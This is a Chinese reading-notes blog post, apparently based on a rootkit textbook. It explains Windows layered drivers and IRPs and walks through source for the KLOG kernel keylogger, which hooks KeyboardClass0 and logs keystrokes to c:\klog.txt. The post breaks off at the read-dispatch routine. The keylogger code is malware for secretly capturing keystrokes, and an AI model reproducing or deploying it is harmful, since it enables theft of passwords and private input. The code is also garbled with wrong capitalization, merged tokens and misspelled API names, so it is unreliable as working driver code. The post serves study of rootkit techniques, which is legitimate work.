读书笔记_键盘嗅探器(1)

利用驱动分层技术,可以将多个驱动程序连接在一起,通过这种方式,开发人员能够修改现有驱动程序的行为,无需重新编写整个驱动程序。几乎所有的硬件设备都存在着驱动程序链。最底层驱动程序处理对总线和硬件设备的直接访问,更高层的驱动程序处理数据格式化,错误代码以及高层请求转化为更细小更有针对性的硬件操作细节。

分层机制是rootkit的一个重要概念,因为在数据出入更底层硬件的移动过程中涉及分层的驱动程序,分层驱动程序不仅可以截获数据,也可以在传递数据之前对其进行修改。

下面介绍一个键盘嗅探器,分层键盘嗅探器的运行层次远高于键盘硬件的层次。通过分层的驱动程序,在截获击键动作之时,硬件设备驱动已经将该击键转换为I/O请求报文(IRP)。这些IRP沿着驱动程序链向上或向下传递。要截获击键动作,rootkit只需将自己插入到这个链中。

驱动程序将自身插入到驱动程序链中的方式是首先创建一个设备,然后将该设备插入到设备组中。许多设备可以出于合法目的而挂接到设备链上。

来看IRP的整个生命期,首先发起读请求来读出击键动作,这会导致构建一个IRP。该IRP沿着设备链向下传输,最终目的是8042控制器。链中的每个设备都可以修改或响应IRP。一旦8042驱动程序从键盘缓冲区中获取了击键动作,就再IRP中放置扫描码(scancode),然后将IRP沿着链向上传输,扫描码是在键盘上敲击的按键相对应的数字。在IRP沿着链向上返回的路径上,驱动程序也可以修改或响应它。

IRP是一个具有不完全文档说明的结构。它由Windows内核中的I/O管理器进行分配,用于在驱动程序之间传递操作特有的数据。对驱动程序进行分层时,它们会注册到一个链(chain)中。如果向连接起来的驱动程序发出I/O请求,就创建一个IRP并将其传递给该链中所有的驱动程序。“最顶端的”驱动程序,即链中的第一个程序,最先接受该IRP,链中的最后一个驱动程序是“最底端的”,负责直接与硬件通信。

当发出一个新请求时,I/O管理器必须创建一个新的IRP。I/O管理器在创建IRP时准确知道链表中注册的驱动程序的数目。在分配的IRP中为链中的每个驱动程序添加额外空间,称为IO_STACK_LOCATION。因此,尽管IRP是内存中的一个大型结构,但它的大小随着链中的驱动程序的数目而变化。整个IRP都驻留在内存中。

驱动程序链中的每个驱动程序都有一个为其分配的IO_STACK_LOCATION, 它们以类似于数组的格式封装在IRP结构的末端。也就是说IRP是一个变化的结构,对于每个驱动程序都会在结构的末端添加一个IO_STACK_LOCATION结构,链中的驱动程序越多,这个IRP的就越大,就一个链表一样,连接多个这样的结构。IO_STACK_LOCATION结构很长,如下省略了不同IRP事件的参数块(例如IRP_MJ_READ等),可以查看

http://msdn.microsoft.com/en-us/library/ff550659

typedef struct _IO_STACK_LOCATION {

UCHAR MajorFunction;

UCHAR MinorFunction;

UCHAR Flags;

UCHAR Control;

union {

……}

}

IRP头部存储当前IO_STACK_LOCATION的数组索引,它也存储当前IO_STACK_LOCATION的一个指针。索引从1开始,没有成员0. IRP结构中处于尾部的是处于驱动程序链中的上层。

驱动程序向低层驱动程序传递IRP时可以使用IoCallDriver例程,该例程的初始动作之一是递减当前堆栈位置索引。因此,当最顶端驱动程序调用IoCallDriver时,在调用最底层驱动程序时,当前的堆栈位置设置为1。注意若当前堆栈位置为0的话,机器将会崩溃。

过滤器驱动程序必须支持它下面驱动程序相同的主要功能,启到一个兼容的效果。简单的“hello world”过滤驱动程序只是将所有IRP都传递到底层的驱动程序。实现这个直通传递如下所示:

for ( int i = 0;I < IRP_MJ_MAXIMUM_FUNCTION; I ++)

pDriverObject -> MajorFunction [i] =MyPassThru;

MyPassThru函数类似于下面形式

NTSTATUSMyPassThru(DEVICE_OBJECT theCurrentDeviceObject, PIRP theIRP)

{

IoSkipCurrentIrpStackLocation(theIRP);

Return IoCallDriver ( gNextDevice, theIRP);

}

对IoSkipCurrentStackLocation的调用会建立一个IRP,使得在调用IoCallDriver时,次底层驱动程序将使用当前IO_STACK_LOCATION。也就是说,当前IO_STACK_LOCATION指针将不会改变。换句话说,当前IO_STACK_LOCATION指针将不会改变,这个技巧允许更底层的驱动程序使用位于我们之上的驱动程序已提供的任意参数或完成例程,这样可以不用初始化底层驱动程序的堆栈位置。

注意,因为可以将IoSkipCurrentIrpStackLocation()实现为宏,所以应该确保在条件表达式中总是使用花括号:

If(something)

{

IoSkipCurrentStacklocation()

}

以下语句不起作用并可能引起crash

If(something)IoSkipCurrentStackLocaion();

当然,上述示例没有实际用途,要使用该技术的话,需要在完成IRP后检查它的内容。例如,可以使用IRP获取键盘的击键动作,这种IRP会包含已按下击键的扫描码。

下面看一个具体的键盘嗅探器的示例.

注意KLOG这个示例支持美国键盘布局,因为每个击键都作为一个扫描码而不是被按下的键的实际字符来传输,所以需要采取一个步骤将扫描码转换回字符键,这种映射随着所用的键盘布局而有所不同。

首先调用DriverEntry:

NTSTATUSDriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath)

{

NTSTATUS Stauts = { 0 };

然后在DriverEntry函数中,建立一个名为DispathPassDown的直通(pass-through)调度例程:

For(int i = 0; I< IRP_MJ_MAXIMUM_FUNCTION; i++)

pDriverObject->MajorFunction[i] =DispatchPassDown;

下面建立一个专门用于键盘读请求的例程,在示例中称为DispatchRead;

pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;

现在已经建立了驱动程序对象,但还需要将它连接到键盘设备链上。这在HookKeyboard函数中完成:

HookkeyBoard(pDriverObject);

来看HookKeyBoard函数

NTSTATUS HookKeyboard ( IN PDRIVER_OBJECT pDriverObject)

{

// the filter deviceobject

PDEVICE_OBJECTpKeyboardDeviceObject;

IoCreateDevice函数创建一个设备对象,该设备对象没有名称,其类型为FILE_DEVICE_KEYBOARD. 另外还传递了用户定义结构DEVICE_EXTENSION的大小。

NTSTATUS status = IoCreateDevice(PDriverObject,

Sizeof(DEVICE_EXTENSION),

NULL,

FILE_DEVICE_KEYBOARD,

0,

True,

&pKeyboardDeviceObject);

If(!NT_SUCCESS(status))

Return status;

与新设备相关的标记应该设置为与底层键盘设备的标记相同。要获得这些信息,可以使用诸如DeviceTree等工具。对于键盘过滤器,可以使用本例所指示的标记:

pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags |(DO_BUFFER_IO | DO_POWER_PAGABLE);

pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;

记住在创建设备对象时,示例程序制定了DEVICE_EXTENSION的大小,这是一个不可分页内存的任意块,可用于存储任何数据,该数据将与这个设备对象关联起来。KLOG定义DEVICE_EXTENSION结构如下:

typedef struct _DEVICE_EXTENSION

{

PDEVICE_OBJECTpKeyBoardDevcie;

PETHREAD pThreadObj;

Bool bThreadTerminate;

HANDLE hLogFile;

KEY_STATE kState;

KSEMAPHORE semQueue;

KSPIN_LOCK lockQueue;

LIST_ENTRY QueuwListHead;

}DEVICE_EXTENSION, *PDEVICE_EXTENSION;

HookKeyboard 函数对这个对象执行清零操作,然后创建一个指针来初始化一些成员:

RtlZeroMemory(pKeyboardDeviceObject->DeviceExension,sizeof(DEVICE_EXTENSION));

PDEVICE_EXTENSION pKeyboardDeviceExtension = ( PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;

要分层的键盘设备名称是keyboardclass0,它被转换成一个UNICODE字符串,并且通过调用IoAttachDevice()来放置过滤器钩子。链中指向下一个设备的指针存储在pKeyboardDeviceExten->pKeyboardDevice中,该指针用于将IRP向下传递到链中的底层设备。

CCHAR ntNameBuffer[64] = \\Device\\KeyboardClass0;

STRING ntNameString;

UNICODE_STRING uKeyboardDeviceName;

RtlInitAnsiString(&ntNameString, ntNameBuffer);

RtlAnsiStringtoUnicodeString(&uKeyboardDeviceName, &ntNameString, TRUE);

IoAttachDevice(pKeyboardDeviceObject, &uKeyboardDeviceName,&pKeyboardDeviceExtension->pKeyboardDevice);

RtlFreeUnicodeString (&uKeyboardDeviceName);

Return STATUS_SUCCESS;

} // end HookKeyboard

假设HookKeyboard已经成功执行,则示例程序继续在DriverMain中进行处理。下一步是创建一个worker线程,它可以将击键动作写入到日志文件中。Worker线程是必要的,因为在IRP处理函数中无法执行文件操作。当在IRP中处理扫描码时,系统运行在所在的IRQ级别是DISPATCH,它禁止执行文件操作。将击键动作传入一个共享缓冲区后,worker线程可以将它们挑选出来并写入一个文件中。Worker线程运行于另一个IRQ级别PASSIVE,在这个级别上允许文件操作,在InitThreadKeyLogger函数中建立worker线程:

InitThreadKeyLogger(pDriverObject);

在InitThreadKeyLogger函数内部,可以发现以下内容:

NTSTATUS InitThreadKeyLogger ( IN PDRIVER_OBJECT pDriverObject)

{

指向设备扩展的指针用来初始化更多成员,示例程序在bThreadTerminate中存储线程状态,只要线程在运行,该参数就应该设置为”false” .

PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;

pKeyboardDeviceExtension->bThreadTerminate = false;

worker 线程通过PsCreateSystemThread函数创建。线程处理函数为ThreadKeyLogger, 设备扩展作为该函数的一个参数传递:

// Create the worker thread

HANDLE hThread;

NTSTATUS status = PsCreateSystemThread(&hThread,

(ACCESS_MASK)0,

NULL,

(HANDLE)0,

NULL,

ThreadKeyLogger,

pKeyboardDeviceExtension);

if(!NT_SUCESS(status))

return status;

设备扩展中存储了指向线程对象的指针:

ObReferenceObjectByHandle(hThread,

THREAD_ALL_ACCESS,

NULL,

KernelMode,

(PVOID*)&pKeyboardDeviceExtension->pThreadObj,

NULL);

ZwClose(hThread);

Return status;

}

返回到DriverEntry中,这时线程已经就绪,初始化共享链表并将其存储在设备扩展中。该链表将包含捕获的击键动作。

PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;

InitlializeListHead(&pKeyboardDeviceExtension->QueueListHead);

初始化一个旋转锁以便同步访问链表,它保证链表线程是安全的,这一点非常重要。若示例没有使用旋转锁,则当两个线程同时访问链表时会引起蓝屏死机。该信号记录了工作队列中的项数(初始化时为零)。

// Initialize the lock for the linked list queue

KeInitialzieSpinLock(&pKeyboardDeviceExtension->lockQueue);

// Initialize the work queue semaphore

KeInitializeSemphore(&pKeyboardDeviceExtension->semQueue, 0,MAXLONG);

下一段代码打开文件c:\klog.txt以记录击键动作:

// Create the log file

IO_STATUS_BLOCK file_status;

OBJECT_ATTRIBUTES obj_attrib;

CCHAR ntNameFile[64] = \\DosDevices\\c:\\klog.txt;

STRING ntNameString;

UNICODE_STRING uFileName;

RtlInitAnsiString(&ntNameString, ntNameFile);

RtlAnsiStringToUnicodeString(&uFileName, &ntNameString,TRUE);

InitializeObjectAttributes(&obj_attrib, &uFileName,OBJ_CASE_INSENSITIVE, NULL, NULL);

Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile, GENRIC_WRITE,&obj_attrib, &file_status, NULL, FILE_ATTRIBUTE_NORMAL, 0,FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL,0);

RtlFreeUnicodeString(&uFileName);

If(Status != STATUS_SUCCESS)

{

DbgPrint(“Failed to createlog file …\n”);

DbgPrint(“File Status=%x\n”, file_status);

}

Else

{

DbgPrint(“Successfullycreated log file…\n”);

DbgPrint(“File Handle =%x\n”,

pKeyboardDeviceExtension->hLogFile);

}

最后制定执行清理功能的DriverUnload例程:

// Set the DriverUnload procedure

pDriverObject->DriverUnload = Unload;

DbgPrint(“Set DriverUnload function pointer …\n”);

DbgPrint(“Exiting Driver Entry……\n”);

Return STATUS_SUCCESS;

}

此时已将驱动程序钩住到设备链中,应该开始获取击键IRP,为处理READ请求而调用的例程是DispatchRead。下面具体分析该函数:

NTSTAUS DispatchRead ( IN PDEVICE_OBJECT pDeviceObject, IN PIRPpIrp)

{

当一个READ请求到达键盘控制器时,就调用该函数。这时IRP中并没有可用的数据。相反我们希望在捕获了击键动作之后查看IRP——当IRP正在沿着设备链向上传输时。

关于IRP已经完成的唯一通知方式是设置完成例程,如果没有设置完成例程,则当IRP沿着设备链上返回是会忽略我们的存在。

将IRP传递给链中次底层设备时,需要设置IRP堆栈指针(stack pointer).术语堆栈在此处容易产生误解:每个设备只是在每个IRP中有一段私有的可用内存。这些私有区域以指定顺序排列。通过IoGetCurrentIrpStackLocation和IoGetNextIrpStackLocation调用来获取这些私有区域的指针,在传递IRP之前,一个“当前”指针必须指向低层驱动程序的私有区域,因此,在调用IoCallDriver之前要调用IoCopyCurrentIrpStackLocationToNext;

// Copy parameters down to next level in the stack

// for the driver below us

IoCopyCurrentIrpStackLocationToNext(pIrp);

….待续


你可能感兴趣的:(读书笔记)